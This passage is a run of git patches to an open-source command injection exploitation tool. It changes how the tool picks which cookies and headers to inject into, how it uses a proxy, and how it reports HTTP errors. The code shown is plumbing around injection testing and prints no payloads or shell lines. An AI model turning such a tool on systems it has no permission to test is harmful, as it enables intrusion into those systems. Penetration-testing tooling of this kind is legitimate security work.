AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "46"
+REVISION = "47"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 9587f3b0bb8d6b9958a87f61605eb604361de664 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 25 Jan 2023 07:26:31 +0200
Subject: [PATCH 266/560] Minor update
---
src/core/injections/controller/checks.py | 46 +++++++++++---------
src/core/injections/controller/controller.py | 15 ++++---
src/core/main.py | 12 ++---
src/core/requests/parameters.py | 37 ++++++++++------
src/utils/settings.py | 2 +-
5 files changed, 63 insertions(+), 49 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 7d2834d367..e765794ac4 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -66,15 +66,15 @@ def check_custom_injection_marker(url):
else:
option = "option '--headers/--user-agent/--referer/--cookie'"
if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie:
- settings.WILDCARD_CHAR_APPLIED = True
+ settings.WILDCARD_CHAR_APPLIED = settings.COOKIE_INJECTION = True
menu.options.level = settings.COOKIE_INJECTION_LEVEL
elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent:
- settings.WILDCARD_CHAR_APPLIED = True
+ settings.WILDCARD_CHAR_APPLIED = settings.USER_AGENT_INJECTION = True
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer:
- settings.WILDCARD_CHAR_APPLIED = True
+ settings.WILDCARD_CHAR_APPLIED = settings.REFERER_INJECTION = True
menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers:
@@ -586,21 +586,24 @@ def assessment_phase():
Check current assessment phase.
"""
def check_injection_level():
- # Checking testable parameters for cookies
- if menu.options.cookie:
- if settings.COOKIE_DELIMITER in menu.options.cookie:
- cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER)
- for cookie in cookies:
- if cookie.split("=")[0].strip() in menu.options.test_parameter:
- menu.options.level = settings.COOKIE_INJECTION_LEVEL
- elif menu.options.cookie.split("=")[0] in menu.options.test_parameter:
- menu.options.level = settings.COOKIE_INJECTION_LEVEL
+ try:
+ # Checking testable parameters for cookies
+ if menu.options.cookie:
+ if settings.COOKIE_DELIMITER in menu.options.cookie:
+ cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER)
+ for cookie in cookies:
+ if cookie.split("=")[0].strip() in menu.options.test_parameter:
+ menu.options.level = settings.COOKIE_INJECTION_LEVEL
+ elif menu.options.cookie.split("=")[0] in menu.options.test_parameter:
+ menu.options.level = settings.COOKIE_INJECTION_LEVEL
+
+ # Checking testable HTTP headers for user-agent / referer / host
+ if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS):
+ menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
+
+ except Exception as ex:
+ return
- # Checking testable HTTP headers for user-agent / referer / host
- if "user-agent" in menu.options.test_parameter or \
- "referer" in menu.options.test_parameter or \
- "host" in menu.options.test_parameter:
- menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL
"""
Procced to the next attack vector.
@@ -1631,8 +1634,9 @@ def is_empty(multi_parameters, http_request_method):
if settings.IS_JSON:
try:
multi_params = ','.join(multi_params)
- json_data = json.loads(multi_params, object_pairs_hook=OrderedDict)
- multi_params = flatten(json_data)
+ if is_JSON_check(multi_params):
+ json_data = json.loads(multi_params, object_pairs_hook=OrderedDict)
+ multi_params = flatten(json_data)
except ValueError as err_msg:
print(settings.print_critical_msg(err_msg))
raise SystemExit()
@@ -1649,8 +1653,8 @@ def is_empty(multi_parameters, http_request_method):
elif len(str(multi_params[empty])) == 0 :
empty_parameters.append(empty)
except TypeError:
- warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable."
- print(settings.print_warning_msg(warn_msg))
+ # warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable."
+ # print(settings.print_warning_msg(warn_msg))
pass
elif settings.IS_XML:
if re.findall(r'>(.*)<', empty)[0] == "" or \
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 0a1e3c2fa7..d0308071d8 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -80,7 +80,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
for payload in basic_payloads:
_ = _ + 1
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
- if not any((settings.IS_JSON, settings.IS_XML)):
+ if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION:
payload = _urllib.parse.quote(payload)
payload = parameters.prefixes(payload, prefix="")
payload = parameters.suffixes(payload, suffix="")
@@ -138,7 +138,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS:
for payload in settings.PHPINFO_CHECK_PAYLOADS:
if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter):
- if not any((settings.IS_JSON, settings.IS_XML)):
+ if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION:
payload = _urllib.parse.quote(payload)
payload = parameters.prefixes(payload, prefix="")
payload = parameters.suffixes(payload, suffix="")
@@ -329,7 +329,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time
settings.CHECKING_PARAMETER = ""
if not header_name == "Cookie" and not the_type == "HTTP header":
settings.CHECKING_PARAMETER = str(http_request_method)
- settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
+ settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML]
if header_name == "Cookie" :
settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter)
else:
@@ -733,10 +733,11 @@ def basic_level_checks():
settings.CUSTOM_HEADER_INJECTION = None
# Check if defined POST data
- if not settings.USER_DEFINED_POST_DATA:
- get_request(url, http_request_method, filename, timesec)
- else:
- post_request(url, http_request_method, filename, timesec)
+ if not settings.COOKIE_INJECTION:
+ if settings.USER_DEFINED_POST_DATA:
+ post_request(url, http_request_method, filename, timesec)
+ else:
+ get_request(url, http_request_method, filename, timesec)
_ = menu.options.level
if _ >= settings.COOKIE_INJECTION_LEVEL:
diff --git a/src/core/main.py b/src/core/main.py
index ec489abfb8..aeee1fd0e7 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -303,6 +303,11 @@ def main(filename, url):
checks.check_custom_injection_marker(url)
+ # Check injection level, due to the provided testable parameters.
+ if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \
+ menu.options.test_parameter != None:
+ checks.check_injection_level()
+
# Define the level of tests to perform.
if menu.options.level == settings.DEFAULT_INJECTION_LEVEL:
settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index)
@@ -351,11 +356,6 @@ def main(filename, url):
# Check provided parameters for tests
checks.check_provided_parameters()
- # Check injection level, due to the provided testable parameters.
- if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \
- menu.options.test_parameter != None:
- checks.check_injection_level()
-
# Check if defined character used for splitting cookie values.
if menu.options.cdel:
settings.COOKIE_DELIMITER = menu.options.cdel
@@ -564,7 +564,7 @@ def main(filename, url):
if menu.options.smoke_test:
smoke_test()
-
+
if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock:
settings.OS_CHECKS_NUM = 1
diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py
index 9f5444a7bb..e6195dcf3b 100755
--- a/src/core/requests/parameters.py
+++ b/src/core/requests/parameters.py
@@ -50,14 +50,15 @@ def multi_params_get_value(parameter):
# Check for REST-ful URLs format.
if "?" not in url:
if settings.INJECT_TAG not in url and not menu.options.shellshock:
+ checks.check_injection_level()
if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or menu.options.header or menu.options.headers:
return False
- if menu.options.level == settings.COOKIE_INJECTION_LEVEL :
+ if menu.options.level == settings.COOKIE_INJECTION_LEVEL:
return False
else:
err_msg = "No parameter(s) found for testing on the provided target URL. "
- err_msg += "You must specify the testable parameter(s) and/or "
- err_msg += "try to increase '--level' value to perform more tests."
+ if not menu.options.crawldepth:
+ err_msg += "You are advised to rerun with '--crawl=2'."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
elif menu.options.shellshock:
@@ -206,6 +207,7 @@ def multi_params_get_value(param, all_params):
# Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
parameter = checks.wildcard_character(parameter).replace("'","\"")
+ checks.check_injection_level()
# Check if JSON Object.
if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)):
if checks.is_JSON_check(checks.check_quotes_json_data(parameter)):
@@ -438,6 +440,15 @@ def suffixes(payload, suffix):
The cookie based injection.
"""
def do_cookie_check(cookie):
+
+ """
+ Grab the value of parameter.
+ """
+ def multi_params_get_value(parameter):
+ value = re.findall(r'=(.*)', parameter)
+ value = ''.join(value)
+ return value
+
# Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided.
cookie = checks.wildcard_character(cookie)
multi_parameters = cookie.split(settings.COOKIE_DELIMITER)
@@ -445,8 +456,7 @@ def do_cookie_check(cookie):
if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)):
checks.inappropriate_format(multi_parameters)
# Grab the value of parameter.
- value = re.findall(r'=(.*)', cookie)
- value = ''.join(value)
+ value = multi_params_get_value(cookie)
# Replace the value of parameter with INJECT tag
# Check if single paramerter is supplied.
if len(multi_parameters) == 1:
@@ -479,14 +489,12 @@ def do_cookie_check(cookie):
return cookie
for param in range(0, len(all_params)):
if param == 0 :
- old = re.findall(r'=(.*)', all_params[param])
- old = ''.join(old)
+ old = multi_params_get_value(all_params[param])
else :
old = value
# Grab the value of cookie.
- value = re.findall(r'=(.*)', all_params[param])
- value = ''.join(value)
- # Ignoring the anti-CSRF parameter(s)..
+ value = multi_params_get_value(all_params[param])
+ # Ignoring the anti-CSRF parameter(s).
if checks.ignore_anticsrf_parameter(all_params[param]):
continue
# Ignoring the Google analytics cookie parameter.
@@ -498,14 +506,11 @@ def do_cookie_check(cookie):
all_params[param] = all_params[param] + settings.INJECT_TAG
else:
all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG)
- #all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "")
- # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "")
cookie = settings.COOKIE_DELIMITER.join(all_params)
if type(cookie) != list:
cookies_list.append(cookie)
cookie = cookies_list
-
else:
for param in range(0, len(multi_parameters)):
# Grab the value of parameter.
@@ -527,9 +532,13 @@ def specify_cookie_parameter(cookie):
for param in range(0,len(pairs)):
if settings.INJECT_TAG in pairs[param]:
inject_cookie = pairs[param].split("=")[0]
+ if settings.WILDCARD_CHAR_APPLIED:
+ try:
+ settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1]
+ except Exception:
+ pass
settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"")
break
-
else:
inject_cookie = cookie
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c569121d1f..c5caaae671 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "47"
+REVISION = "48"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 34cc24453c2df0487919a3ae76996536d6470ab0 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 26 Jan 2023 08:12:06 +0200
Subject: [PATCH 267/560] Minor update
---
src/core/injections/controller/checks.py | 40 +++++++++++++-----------
src/core/requests/headers.py | 2 +-
src/utils/settings.py | 2 +-
3 files changed, 24 insertions(+), 20 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index e765794ac4..eaf7b021d2 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -234,24 +234,28 @@ def not_declared_cookies(response):
candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1)
if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False:
settings.DECLARED_COOKIES = True
- if settings.CRAWLED_SKIPPED_URLS_NUM != 0:
- print(settings.SINGLE_WHITESPACE)
- while True:
- message = "You have not declared cookie(s), while "
- message += "server wants to set its own ('" + str(candidate) + "'). "
- message += "Do you want to use those [Y/n] > "
- set_cookies = common.read_input(message, default="Y", check_batch=True)
- if set_cookies in settings.CHOICE_YES:
- menu.options.cookie = candidate
- break
- elif set_cookies in settings.CHOICE_NO:
- settings.DECLARED_COOKIES = False
- break
- elif set_cookies in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- common.invalid_option(set_cookies)
- pass
+ if menu.options.cookie:
+ menu.options.cookie = menu.options.cookie + settings.COOKIE_DELIMITER + candidate
+ settings.DECLARED_COOKIES = False
+ else:
+ if settings.CRAWLED_SKIPPED_URLS_NUM != 0:
+ print(settings.SINGLE_WHITESPACE)
+ while True:
+ message = "You have not declared cookie(s), while "
+ message += "server wants to set its own ('" + str(candidate) + "'). "
+ message += "Do you want to use those [Y/n] > "
+ set_cookies = common.read_input(message, default="Y", check_batch=True)
+ if set_cookies in settings.CHOICE_YES:
+ menu.options.cookie = candidate
+ break
+ elif set_cookies in settings.CHOICE_NO:
+ settings.DECLARED_COOKIES = False
+ break
+ elif set_cookies in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(set_cookies)
+ pass
except (KeyError, TypeError):
pass
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index b79e87cb90..f81ce39c4e 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -216,7 +216,7 @@ def https_open(self, req):
# Checks regarding recognition of generic "your ip has been blocked" messages.
checks.blocked_ip(page)
# Checks for not declared cookie(s), while server wants to set its own.
- if menu.options.cookie == None and not menu.options.drop_set_cookie:
+ if not menu.options.drop_set_cookie:
checks.not_declared_cookies(response)
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c5caaae671..6b3ff137b0 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "48"
+REVISION = "49"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From f94b846d1575ac4710a58cb287fdf9187702f614 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 29 Jan 2023 18:52:35 +0200
Subject: [PATCH 268/560] Minor update
---
src/core/requests/headers.py | 6 +++++-
src/utils/settings.py | 2 +-
2 files changed, 6 insertions(+), 2 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index f81ce39c4e..1896b38a00 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -221,8 +221,12 @@ def https_open(self, req):
# This is useful when handling exotic HTTP errors (i.e requests for authentication).
except _urllib.error.HTTPError as err:
+ try:
+ page = checks.page_encoding(err, action="encode")
+ except Exception as ex:
+ page = err.read()
if settings.VERBOSITY_LEVEL != 0:
- print_http_response(err.info(), err.code, err.read())
+ print_http_response(err.info(), err.code, page)
if (not settings.PERFORM_CRACKING and \
not settings.IS_JSON and \
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 6b3ff137b0..4b0622ef57 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "49"
+REVISION = "50"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 2d1f1030e01fb909af04056e1ea9a84bc2b311ae Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 30 Jan 2023 08:30:55 +0200
Subject: [PATCH 269/560] Minor update regarding showing all HTTP error codes
raised
---
src/core/injections/controller/checks.py | 1 +
src/core/injections/controller/controller.py | 1 +
src/core/requests/headers.py | 6 ++++++
src/core/requests/requests.py | 2 +-
src/utils/common.py | 10 ++++++++++
src/utils/settings.py | 4 +++-
6 files changed, 22 insertions(+), 2 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index eaf7b021d2..78541dab52 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -155,6 +155,7 @@ def user_aborted(filename, url):
abort_msg += " phase (Ctrl-C was pressed)."
print(settings.print_abort_msg(abort_msg))
logs.print_logs_notification(filename, url)
+ common.show_http_error_codes()
os._exit(0)
"""
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index d0308071d8..6da7669e24 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -847,6 +847,7 @@ def do_check(url, http_request_method, filename):
# if not settings.MULTI_TARGETS:
# print(settings.SINGLE_WHITESPACE)
if not settings.CHECK_BOTH_OS and not settings.MULTI_TARGETS:
+ common.show_http_error_codes()
raise SystemExit()
except KeyboardInterrupt:
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 1896b38a00..a67adf31e0 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -188,6 +188,11 @@ def https_open(self, req):
if settings.UNAUTHORIZED_ERROR in str(err_msg):
settings.UNAUTHORIZED = unauthorized = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS
+ else:
+ settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
+ if settings.VERBOSITY_LEVEL >= 1:
+ debug_msg = "Got " + str(err_msg)
+ print(settings.print_debug_msg(debug_msg))
if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
break
@@ -238,6 +243,7 @@ def https_open(self, req):
print(settings.SINGLE_WHITESPACE)
# Check for 3xx, 4xx, 5xx HTTP error codes.
if str(err.code).startswith(('3', '4', '5')):
+ settings.HTTP_ERROR_CODES_SUM.append(err.code)
if settings.VERBOSITY_LEVEL >= 2:
if len(str(err).split(": ")[1]) == 0:
error_msg = "Non-standard HTTP status code"
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 2abf819227..388fc6fad2 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -398,7 +398,7 @@ def request_failed(err_msg):
else:
if len(err_msg) != 0:
print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ raise SystemExit()
"""
Check if target host is vulnerable. (Cookie-based injection)
diff --git a/src/utils/common.py b/src/utils/common.py
index b318946f56..645cce5d35 100644
--- a/src/utils/common.py
+++ b/src/utils/common.py
@@ -140,6 +140,16 @@ def days_from_last_update():
warn_msg += "s"[days_from_last_update == 1:] + "!"
print(settings.print_warning_msg(warn_msg))
+"""
+Shows all HTTP error codes raised
+"""
+def show_http_error_codes():
+ if settings.HTTP_ERROR_CODES_SUM and settings.VERBOSITY_LEVEL != 0:
+ if any((str(_).startswith('4') or str(_).startswith('5')) and _ != settings.INTERNAL_SERVER_ERROR for _ in settings.HTTP_ERROR_CODES_SUM):
+ debug_msg = "Too many 4xx and/or 5xx HTTP error codes "
+ debug_msg += "could mean that some kind of protection is involved."
+ print(settings.print_bold_debug_msg(debug_msg))
+
"""
Automatically create a Github issue with unhandled exception information.
PS: Greetz @ sqlmap dev team for that great idea! :)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4b0622ef57..e4b8fc73bc 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "50"
+REVISION = "51"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
@@ -1073,6 +1073,8 @@ def sys_argv_errors():
GATEWAY_TIMEOUT
]
+HTTP_ERROR_CODES_SUM = []
+
# End line
END_LINE = ["\r", "\n", "\r\n"]
From 71cba7cd1b9301b013b4db6f3221b1f4aa0b469a Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 31 Jan 2023 07:41:37 +0200
Subject: [PATCH 270/560] Minor update regarding proxy option
---
src/core/main.py | 6 +++---
src/core/requests/headers.py | 2 --
src/core/requests/proxy.py | 15 +++++++--------
src/core/requests/requests.py | 2 --
src/utils/crawler.py | 6 +++++-
src/utils/settings.py | 2 +-
6 files changed, 16 insertions(+), 17 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index aeee1fd0e7..8f60b3eebe 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -152,9 +152,6 @@ def check_internet(url):
try:
request = _urllib.request.Request(settings.CHECK_INTERNET_ADDRESS)
headers.do_check(request)
- # Check if defined any HTTP Proxy (--proxy option).
- if menu.options.proxy:
- proxy.do_check(settings.CHECK_INTERNET_ADDRESS)
examine_request(request, url)
except:
print(settings.SINGLE_WHITESPACE)
@@ -190,6 +187,7 @@ def init_request(url):
if menu.options.pdel and menu.options.pdel in url:
settings.PARAMETER_DELIMITER = menu.options.pdel
request = _urllib.request.Request(url)
+ # Check if defined any HTTP Proxy (--proxy option).
headers.do_check(request)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object."
@@ -199,6 +197,8 @@ def init_request(url):
debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type
debug_msg += " HTTP authentication credentials."
print(settings.print_debug_msg(debug_msg))
+ if menu.options.proxy:
+ proxy.do_check()
return request
"""
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index a67adf31e0..6f7158367c 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -162,8 +162,6 @@ def https_open(self, req):
settings.MULTI_ENCODED_PAYLOAD = []
menu.options.tamper = settings.USER_SUPPLIED_TAMPER
try:
- if menu.options.proxy:
- request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
response = opener.open(request, timeout=settings.TIMEOUT)
_ = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
index a07dc0bec8..786b493313 100644
--- a/src/core/requests/proxy.py
+++ b/src/core/requests/proxy.py
@@ -19,6 +19,7 @@
from src.utils import settings
from src.core.requests import headers
from src.core.requests import requests
+from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.six.moves import http_client as _http_client
@@ -27,24 +28,22 @@
Use the defined HTTP Proxy
"""
def use_proxy(request):
- headers.do_check(request)
try:
+ request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
return response
except Exception as err_msg:
- return requests.request_failed(err_msg)
+ if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
+ return False
+ else:
+ return checks.connection_exceptions(err_msg, url=request)
"""
Check if HTTP Proxy is defined.
"""
-def do_check(url):
+def do_check():
if settings.VERBOSITY_LEVEL != 0:
info_msg = "Setting the HTTP proxy for all HTTP requests. "
print(settings.print_info_msg(info_msg))
- if menu.options.data:
- request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC))
- else:
- request = _urllib.request.Request(url)
- request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
# eof
\ No newline at end of file
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index 388fc6fad2..b1dd6bb92e 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -53,8 +53,6 @@ def estimate_response_time(url, timesec):
headers.do_check(request)
start = time.time()
try:
- if menu.options.proxy:
- request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
response.read(1)
response.close()
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 478c22934a..775f515b8c 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -22,6 +22,7 @@
from src.core.injections.controller import checks
from src.core.requests import headers
from socket import error as SocketError
+from src.core.requests import proxy
from src.core.requests import redirection
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.six.moves import input as _input
@@ -182,7 +183,10 @@ def request(url):
request = _urllib.request.Request(url)
headers.do_check(request)
headers.check_http_traffic(request)
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
+ if menu.options.proxy:
+ response = proxy.use_proxy(request)
+ else:
+ response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
if not menu.options.ignore_redirects:
href = redirection.do_check(request, url)
if href != url:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e4b8fc73bc..e559278dfe 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "51"
+REVISION = "52"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 3c8d6cdfa85c6a09137246a2c615695d83d74efa Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 1 Feb 2023 08:01:21 +0200
Subject: [PATCH 271/560] Minor update regarding commit:
https://github.com/commixproject/commix/commit/71cba7cd1b9301b013b4db6f3221b1f4aa0b469a
---
src/core/injections/controller/checks.py | 6 +++--
src/core/requests/proxy.py | 12 +++++----
src/core/requests/requests.py | 31 +-----------------------
src/utils/crawler.py | 2 ++
src/utils/settings.py | 2 +-
5 files changed, 15 insertions(+), 38 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 78541dab52..61d4929a65 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -170,8 +170,8 @@ def connection_exceptions(err_msg, url):
error_msg = str(err_msg.args[0])
except IndexError:
error_msg = str(err_msg)
- if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING:
- print(settings.SINGLE_WHITESPACE)
+ # if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING:
+ # print(settings.SINGLE_WHITESPACE)
if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]):
settings.MAX_RETRIES = 1
error_msg = "Can't establish SSL connection"
@@ -220,6 +220,8 @@ def connection_exceptions(err_msg, url):
error_msg = error_msg + _
if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING:
print(settings.print_critical_msg(error_msg))
+ if not settings.MULTI_TARGETS and not settings.CRAWLING:
+ raise SystemExit()
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.MAX_RETRIES > 1:
time.sleep(settings.DELAY_RETRY)
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
index 786b493313..37ce5b41ce 100644
--- a/src/core/requests/proxy.py
+++ b/src/core/requests/proxy.py
@@ -30,12 +30,14 @@
def use_proxy(request):
try:
request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME)
- response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
- return response
+ return _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
except Exception as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- return False
- else:
+ try:
+ if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
+ return False
+ else:
+ return checks.connection_exceptions(err_msg, url=request)
+ except:
return checks.connection_exceptions(err_msg, url=request)
"""
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index b1dd6bb92e..4c14d60905 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -245,36 +245,7 @@ def get_request_response(request):
headers.check_http_traffic(request)
# Check if defined any HTTP Proxy.
if menu.options.proxy:
- try:
- response = proxy.use_proxy(request)
- except _urllib.error.HTTPError as err_msg:
- if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST:
- response = False
- elif settings.IGNORE_ERR_MSG == False:
- err = str(err_msg) + "."
- if not settings.VERBOSITY_LEVEL != 0 and settings.TIME_BASED_STATE == False or \
- settings.VERBOSITY_LEVEL != 0 and settings.EVAL_BASED_STATE == None:
- print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
- print(settings.SINGLE_WHITESPACE)
- print(settings.print_critical_msg(err))
- continue_tests = checks.continue_tests(err_msg)
- if continue_tests == True:
- settings.IGNORE_ERR_MSG = True
- else:
- raise SystemExit()
- response = False
- except _urllib.error.URLError as err_msg:
- if "Connection refused" in err_msg.reason:
- err_msg = "The target host is not responding. "
- err_msg += "Please ensure that is up and try again."
